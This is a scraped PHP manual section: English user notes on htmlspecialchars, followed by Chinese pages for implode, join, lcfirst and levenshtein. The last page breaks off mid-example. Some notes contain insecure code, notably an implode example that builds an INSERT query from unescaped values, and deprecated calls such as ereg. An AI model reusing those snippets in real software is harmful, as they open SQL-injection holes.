#define ENT_HTML_QUOTE_NONE         0
#define ENT_HTML_QUOTE_SINGLE       1
#define ENT_HTML_QUOTE_DOUBLE       2

#define ENT_COMPAT      ENT_HTML_QUOTE_DOUBLE
#define ENT_QUOTES      (ENT_HTML_QUOTE_DOUBLE | ENT_HTML_QUOTE_SINGLE)
#define ENT_NOQUOTES    ENT_HTML_QUOTE_NONE

Snippet from: php-src/ext/standard/html.h
https://github.com/php/php-src/blob/master/ext/standard/html.h
steve at mcdragonsoftware dot com 17-Oct-2011 09:13
I am working with xml and zip functions to create an xlsx document from a template. Just as I thought I had it finished it stopped working. After a bit of hunting I discovered my zip file began with php notices about undefined constant. I have no idea why my installation can't remember what ENT_XML1 is, it used to know it (or so I thought)

To save anyone else this headache I recommend adding the code at the top of your scripts to verify that these constants are registered. Something like:

defined( "ENT_XML1") or define( "ENT_XML1",        16    );

for each constant you use. Again, I don't know why this problem suddenly came up, but better safe than "Excel cannot open the file....... format... extension... corrupted... blah blah blah".

cheers :)

here's a list of the constant values (since they are not on this page) as taken from html.h for php5

#define ENT_HTML_QUOTE_NONE            0
#define ENT_HTML_QUOTE_SINGLE           1
#define ENT_HTML_QUOTE_DOUBLE                2
#define ENT_HTML_IGNORE_ERRORS        4
#define ENT_HTML_SUBSTITUTE_ERRORS     8
#define ENT_HTML_DOC_TYPE_MASK        (16|32)
#define ENT_HTML_DOC_HTML401           0
#define ENT_HTML_DOC_XML1            16
#define ENT_HTML_DOC_XHTML            32
#define ENT_HTML_DOC_HTML5            (16|32)
/* reserve bit 6 */
#define ENT_HTML_SUBSTITUTE_DISALLOWED_CHARS    128

#define ENT_COMPAT        ENT_HTML_QUOTE_DOUBLE
#define ENT_QUOTES        (ENT_HTML_QUOTE_DOUBLE | ENT_HTML_QUOTE_SINGLE)
#define ENT_NOQUOTES    ENT_HTML_QUOTE_NONE
#define ENT_IGNORE        ENT_HTML_IGNORE_ERRORS
#define ENT_SUBSTITUTE    ENT_HTML_SUBSTITUTE_ERRORS
#define ENT_HTML401        0
#define ENT_XML1        16
#define ENT_XHTML        32
#define ENT_HTML5        (16|32)
#define ENT_DISALLOWED    128
ivan at lutrov dot com 15-Jun-2011 01:30
Be careful, the "charset" argument IS case sensitive. This is counter-intuitive and serves no practical purpose because the HTML spec actually has the opposite.
info at 8th dot at 12-May-2011 11:28
English:
I'd found THE Final Solution!
it finds and replaces all unknown letters!
(like ?, ?, ü, ?, and much much more)

it turn em in a HTML AND XML compatible format

parameter: $text: a String with unsuported letters in it
return: a String where all unsupported(XML und HTML) letters are changed into the Unicode value (for example &#196;)

Deutsch/German:
Ich hab die perfekte L?sung gefunden!
Es findet und tauscht alle unbekannten Buchstaben!
(wie ?, ?, ü, ?, und viel viel mehr)

es tauscht sie in ein HTML und XML kompatibles Format

parameter: $text: ein String mit nichtunterstüzten Buchstaben
return: ein String wo alle von XML und HTML ununterstützten Buchstaben ins Unicode-Format getauscht sind (z.B. &#196;)

FUNCTION:

<?php
function umlaute($text){
    $returnvalue="";
    for($i=0;$i<strlen($text);$i++){
        $teil=hexdec(rawurlencode(substr($text, $i, 1)));
        if($teil<32||$teil>1114111){
            $returnvalue.=substr($text, $i, 1);
        }else{
            $returnvalue.="&#".$teil.";";
        }
    }
    return $returnvalue;
}
?>
pinkgothic at gmail dot com 11-Mar-2011 05:00
Please note that this function results in an E_WARNING when display_errors is off and an invalid multibyte string is passed to it (e.g. with 'utf-8' as the encoding parameter and broken utf-8 characters somewhere in the string).

This is ESPECIALLY IMPORTANT if you have an EXCEPTION-THROWING ERROR HANDLER, since even though you can't reproduce it in a development mode where display_errors is on, you MUST wrap your function call in a try-catch, or your application will crash.

[ The reason PHP makes this distinction is because this is a core function and many production servers are misconfigured to have display_errors on (to prevent such things as path disclosure from error messages from accidentally cropping up). See: http://bugs.php.net/bug.php?id=47494 ]
Thomasvdbulk at gmail dot com 28-Dec-2010 10:05
i searched for a while for a script, that could see the difference between an html tag and just < and > placed in the text,
the reason is that i recieve text from a database,
wich is inserted by an html form, and contains text and html tags,
the text can contain < and >, so does the tags,
with htmlspecialchars you can validate your text to XHTML,
but you'll also change the tags, like <b> to &lt;b&gt;,
so i needed a script that could see the difference between those two...
but i couldn't find one so i made my own one,
i havent fully tested it, but the parts i tested worked perfect!
just for people that were searching for something like this,
it may looks big, could be done easier, but it works for me, so im happy.

<?php
function fixtags($text){
$text = htmlspecialchars($text);
$text = preg_replace("/=/", "=\"\"", $text);
$text = preg_replace("/&quot;/", "&quot;\"", $text);
$tags = "/&lt;(\/|)(\w*)(\ |)(\w*)([\\\=]*)(?|(\")\"&quot;\"|)(?|(.*)?&quot;(\")|)([\ ]?)(\/|)&gt;/i";
$replacement = "<$1$2$3$4$5$6$7$8$9$10>";
$text = preg_replace($tags, $replacement, $text);
$text = preg_replace("/=\"\"/", "=", $text);
return $text;
}
?>

an example:

<?php
$string = "
this is smaller < than this<br />
this is greater > than this<br />
this is the same = as this<br />
<a href=\"http://www.example.com/example.php?test=test\">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...";
echo fixtags($string);
?>

will echo:
this is smaller &lt; than this<br />
this is greater &gt; than this<br />
this is the same = as this<br />
<a href="http://www.example.com/example.php?test=test">This is a link</a><br />
<b>Bold</b> <i>italic</i> etc...

I hope its helpfull!!
Anonymous 01-Aug-2010 01:48
This may seem obvious, but if you want to output arbitrary (i.e. user-input) data as an attribute inside an HTML tag (such as the INPUT tags on a FORM), be aware of whether you are using ENT_QUOTES or ENT_COMPAT.  If you're using ENT_COMPAT, the attribute must be wrapped in double-quotes, as single-quotes will not be encoded and the user will be able to inject arbitrary HTML attributes (including javascript behavior) inside the tag, even though they will not be able to inject arbitrary HTML tags.

Also, if you want to allow users to input HTML attributes without them being double-encoded on display, there are two ways to accomplish this:

1 - Run their input through htmlentities_decode() followed by htmlspecialchars().

2 - Call htmlspecialchars() with $double_encode=false.

There is one functional difference between these two methods:  If you want to perform any search-replace on a user's input (such as word censoring in a message-board application), the second method will allow users to circumvent it by HTML-encoding their input, whereas the first will not.
nachitox2000 [at] hotmail [dot] com 01-Jul-2010 05:57
I had problems with spanish special characters. So i think in using htmlspecialchars but my strings also contain HTML.
So I used this :) Hope it help

<?php
function htmlspanishchars($str)
{
    return str_replace(array("&lt;", "&gt;"), array("<", ">"), htmlspecialchars($str, ENT_NOQUOTES, "UTF-8"));
}
?>
nessthehero at gmail dot com 19-May-2010 11:53
Here's a simple function I wrote for parsing form data.

It checks if it's an array and it is recursive (it calls itself).

It also decodes things that have already been encoded so it doesn't change &amp; to &amp;amp;

[In this version,] I found it easier to use a regular expression to check and see if any previously encoded data exists, then decode it repeatedly until there is none left, then re-encode it.

<?php
function formspecialchars($var)
    {
        $pattern = '/&(#)?[a-zA-Z0-9]{0,};/';

        if (is_array($var)) {    // If variable is an array
            $out = array();      // Set output as an array
            foreach ($var as $key => $v) {
                $out[$key] = formspecialchars($v);         // Run formspecialchars on every element of the array and return the result. Also maintains the keys.
            }
        } else {
            $out = $var;
            while (preg_match($pattern,$out) > 0) {
                $out = htmlspecialchars_decode($out,ENT_QUOTES);
            }
            $out = htmlspecialchars(stripslashes(trim($out)), ENT_QUOTES,'UTF-8',true);     // Trim the variable, strip all slashes, and encode it

        }

        return $out;
    }
?>
Anonymous 18-Sep-2009 10:16
This may seem obvious, but it caused me some frustration. If you try and use htmlspecialchars with the $charset argument set and the string you run it on is not actually the same charset you specify, you get any empty string returned without any notice/warning/error.

<?php

$ok_utf8 = "A valid UTF-8 string";
$bad_utf8 = "An invalid UTF-8 string";

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(0) ""

var_dump(htmlspecialchars($ok_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(20) "A valid UTF-8 string"

?>

So make sure your charsets are consistent

<?php

$bad_utf8 = "An invalid UTF-8 string";

// make sure it's really UTF-8
$bad_utf8 = mb_convert_encoding($bad_utf8, 'UTF-8', mb_detect_encoding($bad_utf8));

var_dump(htmlspecialchars($bad_utf8, ENT_NOQUOTES, 'UTF-8'));  // string(23) "An invalid UTF-8 string"

?>

I had this problem because a Mac user was submitting posts copy/pasted from a program and it contained weird chars in it.
Anonymous 16-Sep-2009 09:43
Just a few notes on how one can use htmlspecialchars() and htmlentities() to filter user input on forms for later display and/or database storage...

1. Use htmlspecialchars() to filter text input values for html input tags.  i.e.,

echo '<input name=userdata type=text value="'.htmlspecialchars($data).'" />';

2. Use htmlentities() to filter the same data values for most other kinds of html tags, i.e.,

echo '<p>'.htmlentities($data).'</p>';

3. Use your database escape string function to filter the data for database updates & insertions, for instance, using postgresql,

pg_query($connection,"UPDATE datatable SET datavalue='".pg_escape_string($data)."'");

This strategy seems to work well and consistently, without restricting anything the user might like to type and display, while still providing a good deal of protection against a wide variety of html and database escape sequence injections, which might otherwise be introduced through deliberate and/or accidental input of such character sequences by users submitting their input data via html forms.
chuck at N0SPAM1command dot com 12-Aug-2009 07:06
NOTE:
I made an error in my last post.

The last 3 lines should have read
<?php

...

$text = get_page($url);
--------^^^^^^^^
$new = htmlspecialchars($text, ENT_QUOTES); // here is the magic :)

    echo '<pre>' .$new. '</pre>';

?>

OOPS!
hm2k at php.net 22-Jun-2009 10:02
<?php
/**
 * A recursive version of htmlspecialchars() for arrays and strings.
 *
 */

function htmlspecialchars_deep($mixed, $quote_style = ENT_QUOTES, $charset = 'UTF-8')
{
    if (is_array($mixed)) {
        foreach($mixed as $key => $value) {
            $mixed[$key] = htmlspecialchars_deep($value, $quote_style, $charset);
        }
    } elseif (is_string($mixed)) {
        $mixed = htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style), $quote_style, $charset);
    }
    return $mixed;
}
?>
hello at haroonahmad dot co dot uk 23-Mar-2009 01:56
a common confusion among beginner is that what is the difference between htmlentities() and htmlspecialchars() really, because the manual examples are converting angular brackets for both.

well, htmlentities() will ALSO look for other language characters in the string e.g German, French or Italian etc. So if you think your attacker can use some foreign language characters for a XSS attack in URL etc then use htmlentities() instead of htmlspecialchars().

I hope it helps,

Haroon Ahmad
Kenneth Kin Lum 08-Oct-2008 06:45
if your goal is just to protect your page from Cross Site Scripting (XSS) attack, or just to show HTML tags on a web page (showing <body> on the page, for example), then using htmlspecialchars() is good enough and better than using htmlentities().  A minor point is htmlspecialchars() is faster than htmlentities().  A more important point is, when we use  htmlspecialchars($s) in our code, it is automatically compatible with UTF-8 string.  Otherwise, if we use htmlentities($s), and there happens to be foreign characters in the string $s in UTF-8 encoding, then htmlentities() is going to mess it up, as it modifies the byte 0x80 to 0xFF in the string to entities like &eacute;.  (unless you specifically provide a second argument and a third argument to htmlentities(), with the third argument being "UTF-8").

The reason htmlspecialchars($s) already works with UTF-8 string is that, it changes bytes that are in the range 0x00 to 0x7F to &lt; etc, while leaving bytes in the range 0x80 to 0xFF unchanged.  We may wonder whether htmlspecialchars() may accidentally change any byte in a 2 to 4 byte UTF-8 character to &lt; etc.  The answer is, it won't.  When a UTF-8 character is 2 to 4 bytes long, all the bytes in this character is in the 0x80 to 0xFF range. None can be in the 0x00 to 0x7F range.  When a UTF-8 character is 1 byte long, it is just the same as ASCII, which is 7 bit, from 0x00 to 0x7F.  As a result, when a UTF-8 character is 1 byte long, htmlspecialchars($s) will do its job, and when the UTF-8 character is 2 to 4 bytes long, htmlspecialchars($s) will just pass those bytes unchanged.  So htmlspecialchars($s) will do the same job no matter whether $s is in ASCII, ISO-8859-1 (Latin-1), or UTF-8.
brendel at krumedia dot de 15-May-2008 10:28
I know some people posted similar functions but may be you are looking for this version:

function jschars($str)
{
    $str = mb_ereg_replace("\\\\", "\\\\", $str);
    $str = mb_ereg_replace("\"", "\\\"", $str);
    $str = mb_ereg_replace("'", "\\'", $str);
    $str = mb_ereg_replace("\r\n", "\\n", $str);
    $str = mb_ereg_replace("\r", "\\n", $str);
    $str = mb_ereg_replace("\n", "\\n", $str);
    $str = mb_ereg_replace("\t", "\\t", $str);
    $str = mb_ereg_replace("<", "\\x3C", $str); // for inclusion in HTML
    $str = mb_ereg_replace(">", "\\x3E", $str);
    return $str;
}

if you use smarty your code may look like:

<a onclick="alert('{$text|jschars|htmlchars}');return false;">Test</a>

(Yes, we have the shortcur htmlchars instead of htmlspecialchars, so we are able to tell the encoding e.g. UTF-8 or ISO-8859-1 to htmlspecialchars)
php dot net at orakio dot net 10-Apr-2008 11:26
I was recently exploring some code when I saw this being used to make data safe for "SQL".

This function should not be used to make data SQL safe (although to prevent phishing it is perfectly good).

Here is an example of how NOT to use this function:

<?php
$username = htmlspecialchars(trim("$_POST[username]"));

$uniqueuser = $realm_db->query("SELECT `login` FROM `accounts` WHERE `login` = '$username'");
?>

(Only other check on $_POST['username'] is to make sure it isn't empty which it is after trim on a white space only name)

The problem here is that it is left to default which allows single quote marks which are used in the sql query. Turning on magic quotes might fix it but you should not rely on magic quotes, in fact you should never use it and fix the code instead. There are also problems with \ not being escaped. Even if magic quotes were used there would be the problem of allowing usernames longer than the limit and having some really weird usernames given they are to be used outside of html, this just provide a front end for registering to another system using mysql. Of course using it on the output wouldn;t cause that problem.

Another way to make something of a fix would be to use ENT_QUOTE or do:

<?php
$uniqueuser = $realm_db->query('SELECT `login` FROM `accounts` WHERE `login` = "'.$username.'";');
?>

Eitherway none of these solutions are good practice and are not entirely unflawed. This function should simply never be used in such a fashion.

I hope this will prevent newbies using this function incorrectly (as they apparently do).
ish1301 at gmail doooot com 20-Nov-2007 02:56
used this function for making a variable javascript compatible

<?php
function jsspecialchars( $string = '') {
    $string = preg_replace("/\r*\n/","\\n",$string);
    $string = preg_replace("/\//","\\\/",$string);
    $string = preg_replace("/\"/","\\\"",$string);
    $string = preg_replace("/'/"," ",$string);
    return $string;
}
?>
hope this may help those embedding php in javascripts
solar-energy 16-Jun-2007 03:21
also see function "urlencode()", useful for passing text with ampersand and other special chars through url

(i.e. the text is encoded as if sent from form using GET method)

e.g.

<?php
echo "<a href='foo.php?text=".urlencode("foo?&bar!")."'>link</a>";
?>

produces

<a href='foo.php?text=foo%3F%26bar%21'>link</a>

and if the link is followed, the $_GET["text"] in foo.php will contain "foo?&bar!"
terminatorul at gmail dot com 27-Apr-2007 10:04
To html-encode Unicode characters that may not be part of your document character set (given in the META tag of your page), and so can not be output directly into your document source, you need to use mb_encode_numericentity(). Pay attention to it's conversion map argument.
frank at codedor dot be 16-Jan-2007 01:25
If you seem to have a problem with rendering dynamic RSS files from a database - try using htmlspecialchars() or htmlentities() on the text you are rendering.

Since XML and RSS is very strict about what is allowed inside nodes, you need to make sure everything is "A-OK" according to XML standards ...

Especially if the database you're pulling data from is fi. Latin-Swedish encoding, which seems to be the standard setting for MySQL databases.
richard at mf2fm dot com 03-Mar-2006 01:06
I had a script which detected swearing and wanted to make sure that words such as 'f &uuml; c k' didn't slip through the system.

After using htmlentities(), the following line converts most extended alphabet characters back to the standard alphabet so you can spot such problems..

$text=eregi_replace("&([a-z])[a-z0-9]{3,};", "\\\\1", $text);

This changes, for example, '&uuml;' into 'u' and '&szlig' into 's'.  Sadly it also converts '&pound;' and '&para;' into 'p' so it's not perfect but does solve a lot of the problems
mikiwoz at yahoo dot co dot uk 06-Oct-2005 02:40
I am not sure, maybe I'm missing something, but I have found something interesting:
I've been working on a project, where I had to use htmlspecialchars (for opbvious reasons). I olso needed to de-code the encoded string. What I have done was almost a copy and paste from php.net:
$trans=get_html_translation_table(HTML_SPECIALCHARS, ENT_QUOTES);
$trans=array_flip($trans);
$string=strtr($encoded, $trans);
(it looked a bit different in my code, but the idea is clear)
I couldn't get the apostrophe sign de-coded, and I needed it for the <A> tags. After an hour or so of debuging, I decided do print_r($trans). What I got was:
...
[&#39;] => '
...
BUT the apostrophe was encoded to $#039; -> note the zero.
I don't suppose it's a bug, but it definetely IS a potential pitfall, watch out for this one.
Luiz Miguel Axcar (lmaxcar at yahoo dot com dot br) 01-Sep-2005 06:16
Hello,

If you are getting trouble to SGDB write/read HTML data, try to use this:

<?php

//from html_entity_decode() manual page
function unhtmlentities ($string) {
   $trans_tbl =get_html_translation_table (HTML_ENTITIES );
   $trans_tbl =array_flip ($trans_tbl );
   return strtr ($string ,$trans_tbl );
}

//read from db
$content = stripslashes (htmlspecialchars ($field['content']));

//write to db
$content = unhtmlentities (addslashes (trim ($_POST['content'])));

//make sure result of function get_magic_quotes_gpc () == 0, you can get strange slashes in your content adding slashes twice

//better to do this using addslashes
$content = (! get_magic_quotes_gpc ()) ? addslashes ($content) : $content;

?>
urbanheroes {at} gmail {dot} com 30-Apr-2005 11:32
In response to the note made by Alexander Nofftz on October 2004, &#39; is used instead of &apos; because IE unfortunately seems to have trouble with the latter.
took 23-Apr-2005 09:14
The Algo from donwilson at gmail dot com to reverse the action of htmlspecialchars(), edited for germany:

function unhtmlspecialchars( $string )
{
  $string = str_replace ( '&amp;', '&', $string );
  $string = str_replace ( '&#039;', '\'', $string );
  $string = str_replace ( '&quot;', '"', $string );
  $string = str_replace ( '&lt;', '<', $string );
  $string = str_replace ( '&gt;', '>', $string );
  $string = str_replace ( '&uuml;', '?', $string );
  $string = str_replace ( '&Uuml;', '?', $string );
  $string = str_replace ( '&auml;', '?', $string );
  $string = str_replace ( '&Auml;', '?', $string );
  $string = str_replace ( '&ouml;', '?', $string );
  $string = str_replace ( '&Ouml;', '?', $string );
  return $string;
}
11-Mar-2005 04:22
function htmlspecialchars_array($arr = array()) {
   $rs =  array();
   while(list($key,$val) = each($arr)) {
       if(is_array($val)) {
           $rs[$key] = htmlspecialchars_array($val);
       }
       else {
           $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
       }
   }
   return $rs;
}
zolinak at zoli dot szathmari dot hu 14-Dec-2004 04:46
A sample function, if anybody want to turn html entities (and special characters) back to simple. (eg: "&egrave;", "<" etc)

function html2specialchars($str){
    $trans_table = array_flip(get_html_translation_table(HTML_ENTITIES));
    return strtr($str, $trans_table);
}
thelatesundayshow.com @ nathan (flip it) 02-Sep-2004 11:51
heres a version of the recursive escape function that takes the array byref rather than byval so saves some resources in case of big arrays

function recurse_array_HTML_safe(&$arr) {
    foreach ($arr as $key => $val)
        if (is_array($val))
            recurse_array_HTML_safe($arr[$key]);
        else
            $arr[$key] = htmlspecialchars($val, ENT_QUOTES);
}
moc.xnoitadnuof@310symerej 21-Apr-2004 04:04
Here are some usefull functions.
They will apply || decode, htmlspecialchars || htmlentities recursivly to arrays() || to regular $variables. They also protect agains "double encoding".

<?PHP
function htmlspecialchars_or( $mixed, $quote_style = ENT_QUOTES ){
    return is_array($mixed) ? array_map('htmlspecialchars_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlspecialchars(htmlspecialchars_decode($mixed, $quote_style ),$quote_style);
}

function htmlspecialchars_decode( $mixed, $quote_style = ENT_QUOTES ) {
    if(is_array($mixed)){
      return array_map('htmlspecialchars_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
  $trans_table = get_html_translation_table( HTML_SPECIALCHARS, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}

function htmlentities_or($mixed, $quote_style = ENT_QUOTES){
    return is_array($mixed) ? array_map('htmlentities_or',$mixed, array_fill(0,count($mixed),$quote_style)) : htmlentities(htmlentities_decode($mixed, $quote_style ),$quote_style);
}

function htmlentities_decode( $mixed, $quote_style = ENT_QUOTES ) {
  if(is_array($mixed)){
      return array_map('htmlentities_decode',$mixed, array_fill(0,count($mixed),$quote_style));
  }
    $trans_table = get_html_translation_table(HTML_ENTITIES, $quote_style );
    if( $trans_table["'"] != '&#039;' ) { # some versions of PHP match single quotes to &#39;
        $trans_table["'"] = '&#039;';
    }
    return (strtr($mixed, array_flip($trans_table)));
}
?>

These functions are an addition to an earlier post. I would like to give the person some credit but I do not know who it was.

<?  ;llnu=u!eJq dHd?>
_____ at luukku dot com 14-Sep-2002 02:21
People, don't use ereg_replace for the most simple string replacing operations (replacing constant string with another).
Use str_replace.
joseph at nextique dot com 20-Feb-2002 01:21
Here is a handy function to htmlalize an array (or scalar) before you hand it off to xml.

function htmlspecialchars_array($arr = array()) {
    $rs =  array();
    while(list($key,$val) = each($arr)) {
        if(is_array($val)) {
            $rs[$key] = htmlspecialchars_array($val);
        }
        else {
            $rs[$key] = htmlspecialchars($val, ENT_QUOTES);
        }
    }
    return $rs;
}
14-Jul-2001 11:18
If your sending data from one form to another, the data in the textareas and text inputs may need to have htmlspecialchars("form data", ENT_QUOTES) applied, assuming you will ever have quotes or less-than signs or any of those special characters.  Using htmlspecialchars will make the text show up properly in the second form.  The changes are automatically undone whenever the form data is submitted. It does seem a little strange, but it works and my headache is now starting to go away.

AZ
ryan at ryano dot net 29-Jun-2001 03:06
Actually, if you're using >= 4.0.5, this should theoretically be quicker (less overhead anyway):

$text = str_replace(array("&gt;", "&lt;", "&quot;", "&amp;"), array(">", "<", "\"", "&"), $text);


将一个一维数组的值转化为字符串

  • ? htmlspecialchars
  • join ?
  • PHP Manual
  • 字符串 函数
  • 将一个一维数组的值转化为字符串

implode

(PHP 4, PHP 5, PHP 7)

implode — 将一个一维数组的值转化为字符串

说明

implode ( string $glue , array $pieces ) : string
implode ( array $pieces ) : string

用 glue 将一维数组的值连接为一个字符串。

Note:

因为历史原因，implode() 可以接收两种参数顺序，但是 explode() 不行。不过按文档中的顺序可以避免混淆。

参数

glue

默认为空的字符串。

pieces

你想要转换的数组。

返回值

返回一个字符串，其内容为由 glue 分割开的数组的值。

范例

Example #1 implode() 例子

<?php

$array = array('lastname', 'email', 'phone');
$comma_separated = implode(",", $array);

echo $comma_separated; // lastname,email,phone

// Empty string when using an empty array:
var_dump(implode('hello', array())); // string(0) ""

?>

注释

Note: 此函数可安全用于二进制对象。

参见

  • explode() - 使用一个字符串分割另一个字符串
  • preg_split() - 通过一个正则表达式分隔字符串
  • http_build_query() - 生成 URL-encode 之后的请求字符串

User Contributed Notes

ASchmidt at Anamera dot net 23-Nov-2018 09:43
It's not obvious from the samples, if/how associative arrays are handled. The "implode" function acts on the array "values", disregarding any keys:

<?php
declare(strict_types=1);

$a = array( 'one','two','three' );
$b = array( '1st' => 'four', 'five', '3rd' => 'six' );

echo implode( ',', $a ),'/', implode( ',', $b );
?>

outputs:
one,two,three/four,five,six
admin at lanlink dot net dot au 15-Sep-2017 04:24
It is possible for an array to have numeric values, as well as string values. Implode will convert all numeric array elements to strings.

<?php
$test=implode(["one",2,3,"four",5.67]);
echo $test;
//outputs: "one23four5.67"
?>
Felix Rauch 30-Sep-2016 09:39
It might be worthwhile noting that the array supplied to implode() can contain objects, provided the objects implement the __toString() method.

Example:
<?php

class Foo
{
    protected $title;

    public function __construct($title)
    {
        $this->title = $title;
    }

    public function __toString()
    {
        return $this->title;
    }
}

$array = [
    new Foo('foo'),
    new Foo('bar'),
    new Foo('qux')
];

echo implode('; ', $array);
?>

will output:

foo; bar; qux
Anonymous 20-Jul-2015 11:55
null values are imploded too. You can use array_filter() to sort out null values.

<?php
$ar = array("hello", null, "world");
print(implode(',', $ar)); // hello,,world
print(implode(',', array_filter($ar, function($v){ return $v !== null; }))); // hello,world
?>
omar dot ajoue at kekanto dot com 18-Mar-2013 02:21
Can also be used for building tags or complex lists, like the following:

<?php

$elements = array('a', 'b', 'c');

echo "<ul><li>" . implode("</li><li>", $elements) . "</li></ul>";

?>

This is just an example, you can create a lot more just finding the right glue! ;)
Anonymous 26-Feb-2013 03:56
It may be worth noting that if you accidentally call implode on a string rather than an array, you do NOT get your string back, you get NULL:
<?php
var_dump(implode(':', 'xxxxx'));
?>
returns
NULL

This threw me for a little while.
masterandujar 03-Sep-2012 06:15
Even handier if you use the following:

<?php
$id_nums = array(1,6,12,18,24);

$id_nums = implode(", ", $id_nums);

$sqlquery = "Select name,email,phone from usertable where user_id IN ($id_nums)";

// $sqlquery becomes "Select name,email,phone from usertable where user_id IN (1,6,12,18,24)"
?>

Be sure to escape/sanitize/use prepared statements if you get the ids from users.
alexey dot klimko at gmail dot com 23-Jun-2011 05:04
If you want to implode an array of booleans, you will get a strange result:
<?php
var_dump(implode('',array(true, true, false, false, true)));
?>

Output:
string(3) "111"

TRUE became "1", FALSE became nothing.
houston_roadrunner at yahoo dot com 07-Apr-2009 11:50
it should be noted that an array with one or no elements works fine. for example:

<?php
    $a1 = array("1","2","3");
    $a2 = array("a");
    $a3 = array();

    echo "a1 is: '".implode("','",$a1)."'<br>";
    echo "a2 is: '".implode("','",$a2)."'<br>";
    echo "a3 is: '".implode("','",$a3)."'<br>";
?>

will produce:
===========
a1 is: '1','2','3'
a2 is: 'a'
a3 is: ''
php.net {at} nr78 {dot} net 30-Mar-2005 06:50
Also quite handy in INSERT statements:

<?php

   // array containing data
   $array = array(
      "name" => "John",
      "surname" => "Doe",
      "email" => "j.doe@intelligence.gov"
   );

   // build query...
   $sql  = "INSERT INTO table";

   // implode keys of $array...
   $sql .= " (`".implode("`, `", array_keys($array))."`)";

   // implode values of $array...
   $sql .= " VALUES ('".implode("', '", $array)."') ";

   // execute query...
   $result = mysql_query($sql) or die(mysql_error());

?>


别名 implode

  • ? implode
  • lcfirst ?
  • PHP Manual
  • 字符串 函数
  • 别名 implode

join

(PHP 4, PHP 5, PHP 7)

join — 别名 implode()

说明

此函数是该函数的别名： implode().

User Contributed Notes

ashish at bugdecode dot com 24-Jul-2019 05:27
$arr = array('Hello','World!','Beautiful','Day!');
echo join(" ",$arr);

result will be
Hello World! Beautiful Day!


使一个字符串的第一个字符小写

  • ? join
  • levenshtein ?
  • PHP Manual
  • 字符串 函数
  • 使一个字符串的第一个字符小写

lcfirst

(PHP 5 >= 5.3.0, PHP 7)

lcfirst — 使一个字符串的第一个字符小写

说明

lcfirst ( string $str ) : string

返回第一个字母小写的 str ，如果是字母的话。

需要注意的是"字母"是由当前语言区域决定的。比如，在默认的"C"区域像日耳曼语系中的元音变音a (?) 将不会被转换。

参数

str

输入的字符串。

返回值

返回转换后的字符串。

范例

Example #1 lcfirst() 例子：

<?php
$foo = 'HelloWorld';
$foo = lcfirst($foo);             // helloWorld

$bar = 'HELLO WORLD!';
$bar = lcfirst($bar);             // hELLO WORLD!
$bar = lcfirst(strtoupper($bar)); // hELLO WORLD!
?>

参见

  • ucfirst() - 将字符串的首字母转换为大写
  • strtolower() - 将字符串转化为小写
  • strtoupper() - 将字符串转化为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写

User Contributed Notes

phpnet at katylavallee dot com 02-Apr-2009 08:50
Easiest work-around I've found for <5.3:
<?php

$string = "CamelCase"
$string{0} = strtolower($string{0})
echo $string; // outputs camelCase

?>
ahlers_wim at hotmail dot com 22-Nov-2008 09:48
As of PHP release 6 direct reference modification is not permitted any more.
Reference modification is the process of manipulating characters within a string by means of the instruction such as:
$str[0] in the code line: $str[0] = strtolower($str[0]);

For this reason I have recoded the lcfirst function (on function_exists('lcfirst') === false) as follows:

<?php
if ( false === function_exists('lcfirst') ):
    function lcfirst( $str )
    { return (string)(strtolower(substr($str,0,1)).substr($str,1));}
endif;
?>

Remarks:
Also notice that I have used the more modern scope delimeters (if:-endif;) and I have also removed the unnecessary intermediate result. That is, the manipulation is returned directly.
alex aulbach 06-Oct-2008 09:20
In some cases maybe more useful?

 $lower = strtolower( substr($upper,0,1) ) . substr($upper,1);
harmor 05-May-2008 03:43
A slight modification from Northie's post here ( http://us2.php.net/manual/en/function.ucfirst.php#68443), where lcfirst may not exist in your PHP build:

<?php

if(false === function_exists('lcfirst'))
{
    /**
     * Make a string's first character lowercase
     *
     * @param string $str
     * @return string the resulting string.
     */
    function lcfirst( $str ) {
        $str[0] = strtolower($str[0]);
        return (string)$str;
    }
}

/* Tests */
echo var_dump(lcFirst(NULL)).'<br />';    /* string(0) ""  */
echo var_dump(lcFirst(''))  .'<br />';    /* string(0) ""  */
echo var_dump(lcFirst('S')) .'<br />';    /* string(1) "S" */
echo var_dump(lcFirst('é')) .'<br />';    /* string(0) "?" */
echo var_dump(lcFirst('Hello World!!!')); /* string(14) "hello World!!!"  */


计算两个字符串之间的编辑距离

  • ? lcfirst
  • localeconv ?
  • PHP Manual
  • 字符串 函数
  • 计算两个字符串之间的编辑距离

levenshtein

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

levenshtein — 计算两个字符串之间的编辑距离

说明

levenshtein ( string $str1 , string $str2 ) : int
levenshtein ( string $str1 , string $str2 , int $cost_ins , int $cost_rep , int $cost_del ) : int

编辑距离，是指两个字串之间，通过替换、插入、删除等操作将字符串str1转换成str2所需要操作的最少字符数量。 该算法的复杂度是 O(m*n)，其中 n 和 m 分别是str1 和str2的长度 （当和算法复杂度为O(max(n,m)**3)的similar_text()相比时，此函数还是相当不错的，尽管仍然很耗时。）。

在最简单的形式中，该函数只以两个字符串作为参数，并计算通过插入、替换和删除等操作将str1转换成str2所需要的操作次数。

第二种变体将采用三个额外的参数来定义插入、替换和删除操作的次数。此变体比第一种更加通用和适应，但效率不高。

参数

str1

求编辑距离中的其中一个字符串

str2

求编辑距离中的另一个字符串

cost_ins

定义插入次数

cost_rep

定义替换次数

cost_del

定义删除次数

返回值

此函数返回两个字符串参数之间的编辑距离，如果其中一个字符串参数长度大于限制的255个字符时，返回-1。

范例

Example #1 levenshtein() 例子：

<?php
// 输入拼写错误的单词
$input = 'carrrot';

// 要检查的单词数组
$words  = array('apple','pineapple','banana','orange',
                'radish','carrot','pea','bean','potato');

// 目前没有找到最短距离
$shortest = -1;

// 遍历单词来找到最接近的
foreach ($words as $word) {

    // 计算输入单词与当前单词的距离
    $lev = levenshtein($input, $word);

    // 检查完全的匹配
    if ($lev == 0) {

